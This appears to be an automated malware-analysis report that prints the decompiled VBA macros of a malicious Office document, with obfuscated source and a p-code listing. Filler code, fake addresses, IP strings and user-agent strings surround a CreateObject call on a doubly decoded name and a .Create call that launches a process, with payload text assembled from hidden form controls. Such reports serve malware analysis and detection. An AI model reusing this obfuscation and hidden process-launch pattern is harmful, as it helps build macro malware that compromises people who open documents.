Bioceedh = Cetjgxar
Dim Kzcfquxwa As Double
Dim Nztaloajvm As Integer
Vjddknjkhpnpb = Int("Dynamic1433 Koss Flat, West Emil, Belgium")
Dim Lkghhctpe As Boolean
Ujahquozgw = 938
Njqmdymdzfg = Ofpxcuzdbsaja
Bbzlyttxqppr = CInt("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.2; Trident/4.0; .NET CLR 3.7.88954.5)")
Jocmhcpzcebom = Qcdztcxfuqg
'Dabkowski and Sons Apt. 957 South Wójtowicz - Kus Apt. 411 Southwest
End Function
Attribute VB_Name = "Nskamsxmbfgv"
Function qiwhhdak23372xas2(qiwhhdak23372xasA21, qiwhhdak23372xasA22, qiwhhdak23372xasA23)
On Error Resume Next
Dim Tqvjqihj As Double
Dim Zrkyvmom As Integer
Dim Mbwcehxsvmws As String
Muyjkjagqxbw = Sin("Nowicki - KaniewskiSuite 194West")
Dim Fsytporsttei As Double
Ocdhmpmbofb = Fix(27)
Dim Gkzaidfncncc As Boolean
Tafecyls = Rnd(268)
Dim Ujogeesrrvlh As Integer
Dim Wffcloaevlsa As String
Dim Zahnwffy As String
Dim Iyullvslglhws As Double
Ztqncndvs = Nxkonyqhtmt
Atguwschyhxm = Lkfdctuhva
Dim Jgkptfdynjhiy As Double
Dim Joqnbznewoj As Double
Xtxfdyjwxinsj = Round("235.62.219.3")
Dim Cdweddlsfnpyv As Integer
Bknhbulbfzq = 439
Gcvsjqctsf = Lassnanvjhde
Dqcqfnlamcs = Fix("18.42.44.172")
Eyujfzopttj = Cxczzqqunmrbz
'Szczesniak and Sons Apt. 606 Southeast Kasperek LLC Apt. 943 Southeast
Set qiwhhdak23372xasA211 = qiwhhdak23372xas(qiwhhdak23372xasA21)
Dim Oqepkpxcsb As String
Dim Hybavodbzg As String
Dim Mkirelhlhvq As String
Ezjunuiasgexm = Atn("Salad")
Dim Bjjimodagfy As Double
Zblhxbqouhlm = Fix(749)
Dim Udeusjrkymi As Double
Bzcppooaqu = CLng(636)
Dim Kmbhcxwr As String
Dim Wclgwdpdzz As Boolean
Dim Oprrwxhodih As Double
Dim Xpdwomzls As Double
Ejrklnux = Xmpkbykjfouq
Nmglmgfwmrnng = Qnkaoadn
Dim Opbnofnksx As Boolean
Dim Jkmobzywn As Double
Goakqkyjyuz = Round("Lead110 Casper Crest, Deckowburgh, Cook Islands")
Dim Dixladnyejez As String
Ydppywbv = 749
Vwatoaljlvk = Nvkdpcfw
Jafjeacq = Fix("Zareba, Kurek and BanasikSuite 310Northwest")
Jpecukdxuo = Gbcunslttsk
'Orlowski - Orzechowski Apt. 218 Northwest Urbanski, Zak and Motyka Apt. 114 West
qiwhhdak23372xas2 = qiwhhdak23372xasA211.Create(qiwhhdak23372xasA22, Wavacuwh, qiwhhdak23372xasA23, Awixjmwsa)
Dim Wvbigaxtf As String
Dim Cpbvatoelyf As Boolean
Dim Vjzchtawjo As String
Ioqzdumbbe = CDate("Lead8859 Schaefer Rest, North Tadview, Monaco")
Dim Imxbnnjro As Integer
Wavmmzusay = Oct(411)
Dim Fyfidsfkqdst As String
Zjwflvtbtyiia = CDate(241)
Dim Mfjxurche As String
Dim Jewsicrqzkvvm As String
Dim Efgzusdceyivz As Double
Dim Brzmmofaqfqkc As Double
Kwhwnxbflgf = Uzgsmcjdvadj
Qudibfnom = Qzamnghn
Dim Qzyxznmow As Double
Dim Otkkhxdveg As Boolean
Ovdjritvwmya = CDbl("Corporate0307 Johanna Course, Port Kay, Aruba")
Dim Kcsaapjqc As Double
Bfidrizdhjc = 110
Vfciqbuk = Nbdegxiy
Tpclsfdzxmwhf = CBool("National3333 Hessel Forges, West Dax, Iraq")
Unazamfld = Netfzkjz
'Rogowski, Surma and Galazka Apt. 911 East Baginski - Czyzewski Suite 339 East
End Function
Function qiwhhdak23372xas(qiwhhdak23372xasA)
On Error Resume Next
Dim Rgwotkuec As Boolean
Dim Ciqlemhubdv As Double
Dim Bbpaepzvw As Double
Fdgulqkqyhart = Round("Future85895 Kunze Trafficway, Zacheryton, Madagascar")
Dim Loaxcwgsmsv As String
Mxufhsgb = Round(273)
Dim Ilsebxbjvt As Double
Kuyybzlt = CByte(893)
Dim Wjebmukbbof As String
Dim Mjreuliaalim As Double
Dim Iqhpnkspj As Double
Dim Lhyusayi As String
Okvqhtpvyw = Mcktysrzwa
Jejgikje = Ugmyfrdukdlz
Dim Kybgqcpnsqgdj As Double
Dim Nmknrhdhzm As Integer
Cqnskknwkjdnv = Cos("Kasprzak GroupApt. 811Northwest")
Dim Nvscithxr As Double
Cogqctqgnx = 3
Wswnbejxrmbpm = Scutwsxhyp
Jxpriixvj = CLng("64.140.53.49")
Gsicupnrd = Xdseifzkxx
'Krawiec Group Suite 829 Northeast Stelmach - Biernacki Apt. 692 East
Set qiwhhdak23372xas = CreateObject(Nrccctcq(Nrccctcq(qiwhhdak23372xasA)))
Dim Bzgeprfa As String
Dim Zpcmvwmmfit As Double
Dim Obvqxpdgtxkix As Integer
Nnmghiaqa = Atn("Wos, Czarnecki and StefaniakApt. 860North")
Dim Fwwfzjoasd As String
Iksgfrrd = Round(604)
Dim Ezsvmfqnkv As Integer
Kgkoxbuxses = Sin(264)
Dim Wpcvyikm As Double
Dim Xnexikfszyva As String
Dim Rtqjztzgfrpqn As Double
Dim Msarnnatel As String
Mtnjvdgdfrb = Srhmhswngmguj
Qamxmgnnri = Hnhvrnruvtg
Dim Rzfghomexnfe As Integer
Dim Sfepenep As String
Rogremxtpdvhh = CDbl("Tuna")
Dim Thjjacqnnz As Integer
Dbjpczgoshva = 990
Loafkxxflfv = Xbbsrovtrgoth
Rlmiyjqbmios = CBool("Customer638 Odessa Turnpike, West Reyes, Grenada")
Qetwajnrodlpx = Mmdweoztmh
'Zak Group Suite 526 West Cygan LLC Suite 505 Northwest
End Function
' Processing file: /opt/analyzer/scan_staging/d4b91ec5e1ff47baaa47fb5ce8639dae.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Oarnuipe - 2983 bytes
' Macros/VBA/Prdbrrbhhzjx - 1164 bytes
' Macros/VBA/Qqjasoqpb - 20625 bytes
' Line #0:
' FuncDefn (Function Qqjasoqpb())
' Line #1:
' OnError (Resume Next)
' Line #2:
' Dim
' VarDefn Bkrdjplg (As String)
' Line #3:
' Dim
' VarDefn Wylugynyfnqgt (As Double)
' Line #4:
' Dim
' VarDefn Fgzrmgwudc (As Integer)
' Line #5:
' LitStr 0x0033 "District7225 Wilson Avenue, Hesselmouth, Bangladesh"
' ArgsLd Opchffpmy 0x0001
' St Egwpqzev
' Line #6:
' Dim
' VarDefn Tan (As Double)
' Line #7:
' LitDI2 0x028A
' ArgsLd Opchffpmy 0x0001
' St Rnvqzlqzehr
' Line #8:
' Dim
' VarDefn Jriyahoybxrko (As Boolean)
' Line #9:
' LitDI2 0x03D9
' ArgsLd Qooweawwgyowr 0x0001
' St Rerepnnt
' Line #10:
' Dim
' VarDefn Sin (As Double)
' Line #11:
' Dim
' VarDefn Iqppdgkgpizq (As Double)
' Line #12:
' Dim
' VarDefn Jwxhzjsa (As Integer)
' Line #13:
' Dim
' VarDefn Xvnigmvmfmhxx (As Integer)
' Line #14:
' Ld Yinsrisb
' St Rgiznfjitxcqp
' Line #15:
' Ld Ckaosomul
' St Mnlbvlyt
' Line #16:
' Dim
' VarDefn Gucnyjfnpyfix (As Integer)
' Line #17:
' Dim
' VarDefn Xhxldxgjzohy (As String)
' Line #18:
' LitStr 0x0071 "Mozilla/5.0 (Windows; U; Windows NT 6.2) AppleWebKit/535.1.1 (KHTML, like Gecko) Chrome/35.0.812.0 Safari/535.1.1"
' Coerce (Byte)
' St Wypvfgsi
' Line #19:
' Dim
' VarDefn Bsftjxcdnaqew (As Double)
' Line #20:
' LitDI2 0x017E
' St Zaldzqlf
' Line #21:
' Ld Blekzmrc
' St Apmruzotajkr
' Line #22:
' LitStr 0x000E "106.215.236.24"
' ArgsLd Tackvrphnl 0x0001
' St Gggfogqnwzji
' Line #23:
' Ld Mbfxbxarkns
' St Oct
' Line #24:
' QuoteRem 0x0000 0x0050 "Konieczna, Kubicki and Stachura Suite 322 Northeast Ossowski LLC Suite 314 North"
' Line #25:
' Dim
' VarDefn Utxvnqsvs (As Double)
' Line #26:
' Dim
' VarDefn Nzbucpkpyt (As Integer)
' Line #27:
' Dim
' VarDefn Nwrkdyzbvkxzz (As Double)
' Line #28:
' LitStr 0x0019 "Kotowski IncSuite 681West"
' Coerce (Date)
' St Mjfmcahdde
' Line #29:
' Dim
' VarDefn Wjlwoyfonl (As Double)
' Line #30:
' LitDI2 0x0086
' ArgsLd Xfshayft 0x0001
' St Mpjoccbv
' Line #31:
' Dim
' VarDefn Hex (As Integer)
' Line #32:
' LitDI2 0x006F
' ArgsLd Aydzmrtabckut 0x0001
' St Yocskoibt
' Line #33:
' Dim
' VarDefn Atn (As String)
' Line #34:
' Dim
' VarDefn Egyhitxfd (As Boolean)
' Line #35:
' Dim
' VarDefn Reotabrexh (As Boolean)
' Line #36:
' Dim
' VarDefn Ngmtmcnui (As String)
' Line #37:
' Ld Zapmhcic
' St Kbclpedt
' Line #38:
' Ld Aerxpcauop
' St Ypykawakcqd
' Line #39:
' Dim
' VarDefn Gxheafrtsfu (As Boolean)
' Line #40:
' Dim
' VarDefn Lsesqjxvpohq (As Double)
' Line #41:
' LitStr 0x0058 "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.9.2; rv:10.1) Gecko/20100101 Firefox/10.1.9"
' Coerce (Sng)
' St Aptkasxtzsfc
' Line #42:
' Dim
' VarDefn Krujofejvb (As Boolean)
' Line #43:
' LitDI2 0x01FC
' St Irrizowmr
' Line #44:
' Ld Bynqtsmujfcrt
' St Vukurtlmoylly
' Line #45:
' LitStr 0x000E "173.148.15.187"
' ArgsLd Ojhxgsnbnx 0x0001
' St Yufsyoekn
' Line #46:
' Ld Lgjaapoc
' St Sqr
' Line #47:
' QuoteRem 0x0000 0x005D "Kisiel, Stolarski and Lasota Suite 585 Northwest Korzeniowski - Jackowski Suite 029 Southwest"
' Line #48:
' Ld UFvbc
' MemLd Tibowmqei
' MemLd Locked
' Ld UFvbc
' MemLd Ncojxgktk
' MemLd Locked
' Add
' Ld UFvbc
' MemLd Atsndfurputmj
' MemLd Locked
' Add
' Ld UFvbc
' MemLd Ruexvfculxntj
' MemLd Locked
' Add
' Ld UFvbc
' MemLd Gpwywazcm
' MemLd Locked
' Add
' Ld UFvbc
' MemLd _B_var_Clvjrttacbzah
' MemLd Locked
' Add
' ArgsLd Rqhuaqllhvj 0x0001
' ArgsLd Rqhuaqllhvj 0x0001
' St Iaqffvjxnaai
' Line #49:
' Dim
' VarDefn Nrccctcq (As Integer)
' Line #50:
' Dim
' VarDefn Otlvwrxpmt (As String)
' Line #51:
' Dim
' VarDefn Hqinzcbbe (As Double)
' Line #52:
' LitStr 0x000E "236.85.176.130"
' Coerce (Dbl)
' St Yvdmhwygbc
' Line #53:
' Dim
' VarDefn Cafrgcdfpe (As Double)
' Line #54:
' LitDI2 0x00EF
' ArgsLd Ateqtnmdekf 0x0001
' St Pkcsayceu
' Line #55:
' Dim
' VarDefn Cos (As Boolean)
' Line #56:
' LitDI2 0x028D
' ArgsLd Qooweawwgyowr 0x0001
' St Uluzaoutbv
' Line #57:
' Dim
' VarDefn Tggczsqtnexcl (As Double)
' Line #58:
' Dim
' VarDefn Dapxjepxpdde (As Integer)
' Line #59:
' Dim
' VarDefn Tzxgtzhgbfs (As Integer)
' Line #60:
' Dim
' VarDefn Zpnsnpwrtl (As String)
' Line #61:
' Ld Slkwzkfusqhbl
' St Sdiryvnkftf
' Line #62:
' Ld Egfknwvem
' St Iwznasbwyoc
' Line #63:
' Dim
' VarDefn Astzmbpngycj (As Boolean)
' Line #64:
' Dim
' VarDefn Zdqomhxbaqmk (As Integer)
' Line #65:
' LitStr 0x0078 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_3) AppleWebKit/531.1.1 (KHTML, like Gecko) Chrome/14.0.891.0 Safari/531.1.1"
' Coerce (Byte)
' St Otkwagmhybj
' Line #66:
' Dim
' VarDefn Pcgbwlrntfpan (As Double)
' Line #67:
' LitDI2 0x00A6
' St Rdncdbymnfinf
' Line #68:
' Ld Bvouwnjmq
' St Ofoihyuop
' Line #69:
' LitStr 0x0055 "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/5.0; .NET CLR 2.2.11592.4)"
' ArgsLd Tackvrphnl 0x0001
' St Htyqqswnxmv
' Line #70:
' Ld Tjvetbkaxvkqh
' St Kleobwoxdya
' Line #71:
' QuoteRem 0x0000 0x0055 "Nowakowski - Adamiak Apt. 213 North Sroka, Kolakowski and Cybulski Apt. 828 Northwest"
' Line #72:
' Ld UFvbc
' MemLd CommandButton1
' MemLd Locked
' Ld UFvbc
' MemLd Thewyevu
' MemLd Locked
' Add
' Ld UFvbc
' MemLd Ilzhpdjdrur
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.